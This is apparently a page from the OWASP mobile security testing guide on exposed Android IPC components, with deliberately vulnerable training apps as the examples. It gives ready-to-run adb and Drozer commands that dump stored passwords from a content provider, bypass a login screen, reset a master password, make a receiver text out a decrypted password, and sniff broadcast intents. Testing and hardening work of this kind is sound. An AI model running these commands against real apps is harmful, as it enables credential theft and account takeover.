MASTG-TEST-0029: Testing for Sensitive Functionality Exposure Through IPC
Overview¶
To test for sensitive functionality exposure through IPC mechanisms you should first enumerate all the IPC mechanisms the app uses and then try to identify whether sensitive data is leaked when the mechanisms are used.
Static Analysis¶
We start by looking at the AndroidManifest.xml, where all activities, services, and content providers included in the app must be declared (otherwise the system won't recognize them and they won't run).
An "exported" activity, service, or content can be accessed by other apps. There are two common ways to designate a component as exported. The obvious one is setting the export tag to true android:exported="true"
. The second way involves defining an <intent-filter>
within the component element (<activity>
, <service>
, <receiver>
). When this is done, the export tag is automatically set to "true". To prevent all other Android apps from interacting with the IPC component element, be sure that the android:exported="true"
value and an <intent-filter>
aren't in their AndroidManifest.xml
files unless this is necessary.
Remember that using the permission tag (android:permission
) will also limit other applications' access to a component. If your IPC is intended to be accessible to other applications, you can apply a security policy with the <permission>
element and set a proper android:protectionLevel
. When android:permission
is used in a service declaration, other applications must declare a corresponding <uses-permission>
element in their own manifest to start, stop, or bind to the service.
For more information about the content providers, please refer to the test case "Testing Whether Stored Sensitive Data Is Exposed via IPC Mechanisms" in chapter "Testing Data Storage".
Once you identify a list of IPC mechanisms, review the source code to see whether sensitive data is leaked when the mechanisms are used. For example, content providers can be used to access database information, and services can be probed to see if they return data. Broadcast receivers can leak sensitive information if probed or sniffed.
In the following, we use two example apps and give examples of identifying vulnerable IPC components:
Activities¶
Inspect the AndroidManifest¶
In the "Sieve" app, we find three exported activities, identified by <activity>
:
<activity android:excludeFromRecents="true" android:label="@string/app_name" android:launchMode="singleTask" android:name=".MainLoginActivity" android:windowSoftInputMode="adjustResize|stateVisible">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:clearTaskOnLaunch="true" android:excludeFromRecents="true" android:exported="true" android:finishOnTaskLaunch="true" android:label="@string/title_activity_file_select" android:name=".FileSelectActivity" />
<activity android:clearTaskOnLaunch="true" android:excludeFromRecents="true" android:exported="true" android:finishOnTaskLaunch="true" android:label="@string/title_activity_pwlist" android:name=".PWList" />
Inspect the Source Code¶
By inspecting the PWList.java
activity, we see that it offers options to list all keys, add, delete, etc. If we invoke it directly, we will be able to bypass the LoginActivity. More on this can be found in the dynamic analysis below.
Services¶
Inspect the AndroidManifest¶
In the "Sieve" app, we find two exported services, identified by <service>
:
<service android:exported="true" android:name=".AuthService" android:process=":remote" />
<service android:exported="true" android:name=".CryptoService" android:process=":remote" />
Inspect the Source Code¶
Check the source code for the class android.app.Service
:
By reversing the target application, we can see that the service AuthService
provides functionality for changing the password and PIN-protecting the target app.
public void handleMessage(Message msg) {
AuthService.this.responseHandler = msg.replyTo;
Bundle returnBundle = msg.obj;
int responseCode;
int returnVal;
switch (msg.what) {
...
case AuthService.MSG_SET /*6345*/:
if (msg.arg1 == AuthService.TYPE_KEY) /*7452*/ {
responseCode = 42;
if (AuthService.this.setKey(returnBundle.getString("com.mwr.example.sieve.PASSWORD"))) {
returnVal = 0;
} else {
returnVal = 1;
}
} else if (msg.arg1 == AuthService.TYPE_PIN) {
responseCode = 41;
if (AuthService.this.setPin(returnBundle.getString("com.mwr.example.sieve.PIN"))) {
returnVal = 0;
} else {
returnVal = 1;
}
} else {
sendUnrecognisedMessage();
return;
}
}
}
Broadcast Receivers¶
Inspect the AndroidManifest¶
In the "Android Insecure Bank" app, we find a broadcast receiver in the manifest, identified by <receiver>
:
<receiver android:exported="true" android:name="com.android.insecurebankv2.MyBroadCastReceiver">
<intent-filter>
<action android:name="theBroadcast" />
</intent-filter>
</receiver>
Inspect the Source Code¶
Search the source code for strings like sendBroadcast
, sendOrderedBroadcast
, and sendStickyBroadcast
. Make sure that the application doesn't send any sensitive data.
If an Intent is broadcasted and received within the application only, LocalBroadcastManager
can be used to prevent other apps from receiving the broadcast message. This reduces the risk of leaking sensitive information.
To understand more about what the receiver is intended to do, we have to go deeper in our static analysis and search for usage of the class android.content.BroadcastReceiver
and the Context.registerReceiver
method, which is used to dynamically create receivers.
The following extract of the target application's source code shows that the broadcast receiver triggers transmission of an SMS message containing the user's decrypted password.
public class MyBroadCastReceiver extends BroadcastReceiver {
String usernameBase64ByteString;
public static final String MYPREFS = "mySharedPreferences";
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
String phn = intent.getStringExtra("phonenumber");
String newpass = intent.getStringExtra("newpass");
if (phn != null) {
try {
SharedPreferences settings = context.getSharedPreferences(MYPREFS, Context.MODE_WORLD_READABLE);
final String username = settings.getString("EncryptedUsername", null);
byte[] usernameBase64Byte = Base64.decode(username, Base64.DEFAULT);
usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
final String password = settings.getString("superSecurePassword", null);
CryptoClass crypt = new CryptoClass();
String decryptedPassword = crypt.aesDeccryptedString(password);
String textPhoneno = phn.toString();
String textMessage = "Updated Password from: "+decryptedPassword+" to: "+newpass;
SmsManager smsManager = SmsManager.getDefault();
System.out.println("For the changepassword - phonenumber: "+textPhoneno+" password is: "+textMessage);
smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);
}
}
}
}
BroadcastReceivers should use the android:permission
attribute; otherwise, other applications can invoke them. You can use Context.sendBroadcast(intent, receiverPermission);
to specify permissions a receiver must have to read the broadcast. You can also set an explicit application package name that limits the components this Intent will resolve to. If left as the default value (null), all components in all applications will be considered. If non-null, the Intent can match only the components in the given application package.
Dynamic Analysis¶
You can enumerate IPC components with MobSF. To list all exported IPC components, upload the APK file and the components collection will be displayed in the following screen:
Content Providers¶
The "Sieve" application implements a vulnerable content provider. To list the content providers exported by the Sieve app, execute the following command:
$ adb shell dumpsys package com.mwr.example.sieve | grep -Po "Provider{[\w\d\s\./]+}" | sort -u
Provider{34a20d5 com.mwr.example.sieve/.FileBackupProvider}
Provider{64f10ea com.mwr.example.sieve/.DBContentProvider}
Once identified, you can use jadx to reverse engineer the app and analyze the source code of the exported content providers to identify potential vulnerabilities.
To identify the corresponding class of a content provider, use the following information:
- Package Name:
com.mwr.example.sieve
. - Content Provider Class Name:
DBContentProvider
.
When analyzing the class com.mwr.example.sieve.DBContentProvider
, you'll see that it contains several URIs:
package com.mwr.example.sieve;
...
public class DBContentProvider extends ContentProvider {
public static final Uri KEYS_URI = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Keys");
public static final Uri PASSWORDS_URI = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords");
...
}
Use the following commands to call the content provider using the identified URIs:
$ adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Keys/
Row: 0 Password=1234567890AZERTYUIOPazertyuiop, pin=1234
$ adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/
Row: 0 _id=1, service=test, username=test, password=BLOB, email=[email protected]
Row: 1 _id=2, service=bank, username=owasp, password=BLOB, email=[email protected]
$ adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection email:username:password --where 'service=\"bank\"'
Row: 0 email=[email protected], username=owasp, password=BLOB
You are able now to retrieve all database entries (see all lines starting with "Row:" in the output).
Activities¶
To list activities exported by an application, you can use the following command and focus on activity
elements:
$ aapt d xmltree sieve.apk AndroidManifest.xml
...
E: activity (line=32)
A: android:label(0x01010001)=@0x7f05000f
A: android:name(0x01010003)=".FileSelectActivity" (Raw: ".FileSelectActivity")
A: android:exported(0x01010010)=(type 0x12)0xffffffff
A: android:finishOnTaskLaunch(0x01010014)=(type 0x12)0xffffffff
A: android:clearTaskOnLaunch(0x01010015)=(type 0x12)0xffffffff
A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
E: activity (line=40)
A: android:label(0x01010001)=@0x7f050000
A: android:name(0x01010003)=".MainLoginActivity" (Raw: ".MainLoginActivity")
A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
A: android:launchMode(0x0101001d)=(type 0x10)0x2
A: android:windowSoftInputMode(0x0101022b)=(type 0x11)0x14
E: intent-filter (line=46)
E: action (line=47)
A: android:name(0x01010003)="android.intent.action.MAIN" (Raw: "android.intent.action.MAIN")
E: category (line=49)
A: android:name(0x01010003)="android.intent.category.LAUNCHER" (Raw: "android.intent.category.LAUNCHER")
E: activity (line=52)
A: android:label(0x01010001)=@0x7f050009
A: android:name(0x01010003)=".PWList" (Raw: ".PWList")
A: android:exported(0x01010010)=(type 0x12)0xffffffff
A: android:finishOnTaskLaunch(0x01010014)=(type 0x12)0xffffffff
A: android:clearTaskOnLaunch(0x01010015)=(type 0x12)0xffffffff
A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
E: activity (line=60)
A: android:label(0x01010001)=@0x7f05000a
A: android:name(0x01010003)=".SettingsActivity" (Raw: ".SettingsActivity")
A: android:finishOnTaskLaunch(0x01010014)=(type 0x12)0xffffffff
A: android:clearTaskOnLaunch(0x01010015)=(type 0x12)0xffffffff
A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
...
You can identify an exported activity using one of the following properties:
- It have an
intent-filter
sub declaration. - It have the attribute
android:exported
to0xffffffff
.
You can also use jadx to identify exported activities in the file AndroidManifest.xml
using the criteria described above:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.mwr.example.sieve">
...
<!-- This activity is exported via the attribute "exported" -->
<activity android:name=".FileSelectActivity" android:exported="true" />
<!-- This activity is exported via the "intent-filter" declaration -->
<activity android:name=".MainLoginActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<!-- This activity is exported via the attribute "exported" -->
<activity android:name=".PWList" android:exported="true" />
<!-- Activities below are not exported -->
<activity android:name=".SettingsActivity" />
<activity android:name=".AddEntryActivity"/>
<activity android:name=".ShortLoginActivity" />
<activity android:name=".WelcomeActivity" />
<activity android:name=".PINActivity" />
...
</manifest>
Enumerating activities in the vulnerable password manager "Sieve" shows that the following activities are exported:
.MainLoginActivity
.PWList
.FileSelectActivity
Use the command below to launch an activity:
# Start the activity without specifying an action or an category
$ adb shell am start -n com.mwr.example.sieve/.PWList
Starting: Intent { cmp=com.mwr.example.sieve/.PWList }
# Start the activity indicating an action (-a) and an category (-c)
$ adb shell am start -n "com.mwr.example.sieve/.MainLoginActivity" -a android.intent.action.MAIN -c android.intent.category.LAUNCHER
Starting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.mwr.example.sieve/.MainLoginActivity }
Since the activity .PWList
is called directly in this example, you can use it to bypass the login form protecting the password manager, and access the data contained within the password manager.
Services¶
Services can be enumerated with the Drozer module app.service.info
:
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
To communicate with a service, you must first use static analysis to identify the required inputs.
Because this service is exported, you can use the module app.service.send
to communicate with the service and change the password stored in the target application:
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
what: 4
arg1: 42
arg2: 0
Empty
Broadcast Receivers¶
To list broadcast receivers exported by an application, you can use the following command and focus on receiver
elements:
$ aapt d xmltree InsecureBankv2.apk AndroidManifest.xml
...
E: receiver (line=88)
A: android:name(0x01010003)="com.android.insecurebankv2.MyBroadCastReceiver" (Raw: "com.android.insecurebankv2.MyBroadCastReceiver")
A: android:exported(0x01010010)=(type 0x12)0xffffffff
E: intent-filter (line=91)
E: action (line=92)
A: android:name(0x01010003)="theBroadcast" (Raw: "theBroadcast")
E: receiver (line=119)
A: android:name(0x01010003)="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" (Raw: "com.google.android.gms.wallet.EnableWalletOptimizationReceiver")
A: android:exported(0x01010010)=(type 0x12)0x0
E: intent-filter (line=122)
E: action (line=123)
A: android:name(0x01010003)="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION" (Raw: "com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION")
...
You can identify an exported broadcast receiver using one of the following properties:
- It has an
intent-filter
sub declaration. - It has the attribute
android:exported
set to0xffffffff
.
You can also use jadx to identify exported broadcast receivers in the file AndroidManifest.xml
using the criteria described above:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.insecurebankv2">
...
<!-- This broadcast receiver is exported via the attribute "exported" as well as the "intent-filter" declaration -->
<receiver android:name="com.android.insecurebankv2.MyBroadCastReceiver" android:exported="true">
<intent-filter>
<action android:name="theBroadcast"/>
</intent-filter>
</receiver>
<!-- This broadcast receiver is NOT exported because the attribute "exported" is explicitly set to false -->
<receiver android:name="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" android:exported="false">
<intent-filter>
<action android:name="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION"/>
</intent-filter>
</receiver>
...
</manifest>
The above example from the vulnerable banking application InsecureBankv2 shows that only the broadcast receiver named com.android.insecurebankv2.MyBroadCastReceiver
is exported.
Now that you know that there is an exported broadcast receiver, you can dive deeper and reverse engineer the app using jadx. This will allow you to analyze the source code searching for potential vulnerabilities that you could later try to exploit. The source code of the exported broadcast receiver is the following:
package com.android.insecurebankv2;
...
public class MyBroadCastReceiver extends BroadcastReceiver {
public static final String MYPREFS = "mySharedPreferences";
String usernameBase64ByteString;
public void onReceive(Context context, Intent intent) {
String phn = intent.getStringExtra("phonenumber");
String newpass = intent.getStringExtra("newpass");
if (phn != null) {
try {
SharedPreferences settings = context.getSharedPreferences("mySharedPreferences", 1);
this.usernameBase64ByteString = new String(Base64.decode(settings.getString("EncryptedUsername", (String) null), 0), "UTF-8");
String decryptedPassword = new CryptoClass().aesDeccryptedString(settings.getString("superSecurePassword", (String) null));
String textPhoneno = phn.toString();
String textMessage = "Updated Password from: " + decryptedPassword + " to: " + newpass;
SmsManager smsManager = SmsManager.getDefault();
System.out.println("For the changepassword - phonenumber: " + textPhoneno + " password is: " + textMessage);
smsManager.sendTextMessage(textPhoneno, (String) null, textMessage, (PendingIntent) null, (PendingIntent) null);
} catch (Exception e) {
e.printStackTrace();
}
} else {
System.out.println("Phone number is null");
}
}
}
As you can see in the source code, this broadcast receiver expects two parameters named phonenumber
and newpass
. With this information you can now try to exploit this broadcast receiver by sending events to it using custom values:
# Send an event with the following properties:
# Action is set to "theBroadcast"
# Parameter "phonenumber" is set to the string "07123456789"
# Parameter "newpass" is set to the string "12345"
$ adb shell am broadcast -a theBroadcast --es phonenumber "07123456789" --es newpass "12345"
Broadcasting: Intent { act=theBroadcast flg=0x400000 (has extras) }
Broadcast completed: result=0
This generates the following SMS:
Updated Password from: SecretPassword@ to: 12345
Sniffing Intents¶
If an Android application broadcasts intents without setting a required permission or specifying the destination package, the intents can be monitored by any application that runs on the device.
To register a broadcast receiver to sniff intents, use the Drozer module app.broadcast.sniff
and specify the action to monitor with the --action
parameter:
dz> run app.broadcast.sniff --action theBroadcast
[*] Broadcast receiver registered to sniff matching intents
[*] Output is updated once a second. Press Control+C to exit.
Action: theBroadcast
Raw: Intent { act=theBroadcast flg=0x10 (has extras) }
Extra: phonenumber=07123456789 (java.lang.String)
Extra: newpass=12345 (java.lang.String)`
You can also use the following command to sniff the intents. However, the content of the extras passed will not be displayed:
$ adb shell dumpsys activity broadcasts | grep "theBroadcast"
BroadcastRecord{fc2f46f u0 theBroadcast} to user 0
Intent { act=theBroadcast flg=0x400010 (has extras) }
BroadcastRecord{7d4f24d u0 theBroadcast} to user 0
Intent { act=theBroadcast flg=0x400010 (has extras) }
45: act=theBroadcast flg=0x400010 (has extras)
46: act=theBroadcast flg=0x400010 (has extras)
121: act=theBroadcast flg=0x400010 (has extras)
144: act=theBroadcast flg=0x400010 (has extras)